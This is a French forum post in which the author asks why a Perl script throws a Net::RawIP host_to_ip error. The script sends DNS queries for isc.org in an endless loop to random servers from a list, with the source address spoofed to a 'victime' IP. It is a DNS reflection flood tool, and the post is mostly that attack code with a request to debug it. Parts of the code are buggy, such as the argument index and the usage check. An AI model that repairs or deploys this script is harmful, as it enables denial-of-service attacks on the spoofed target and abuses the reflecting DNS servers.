[Net::RawIP] Erreur : host_to_ip: failed at /usr/local/lib/perl/5.14.2/Net/RawIP.pm line 481.
Bonjour voila j'ai coder un scripts qui permet d'envoyer des packets sur des serveurs DNS
je ne sais pas d’où vient cette erreur mais elle me gène énormément
voici le code
Code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
|
use Net::DNS;
use Net::DNS::Packet;
use IO::Socket;
use threads;
use Socket;
use Term::ANSIColor;
use Net::RawIP;
use IO::Socket::INET;
if ($#ARGV == 0) {
print "Utilisation : perl sc.pl [IP] [Liste]\n";
exit(1);
}
my $victime = $ARGV[0];
my $domaine = "isc.org";
my $liste = $ARGV[3];
open my $handle, '<', $liste;
chomp(my @servers = <$handle>);
close $handle;
my $servers;
while (1) {
my $ip = $servers[ int( rand(@servers) ) ];
my $dnspacket = new Net::DNS::Packet($domaine, "A", "IN");
my $dnsdata = $dnspacket->data;
my $sock = new Net::RawIP({udp=>{}});
$sock->set({
ip => {saddr => $victime, daddr => $ip, frag_off=>0,tos=>0,id=>1565},
udp => {source => 53, dest => 53, data=>$dnsdata}
});
$sock->send;
} |
Merci d'avance pour votre aide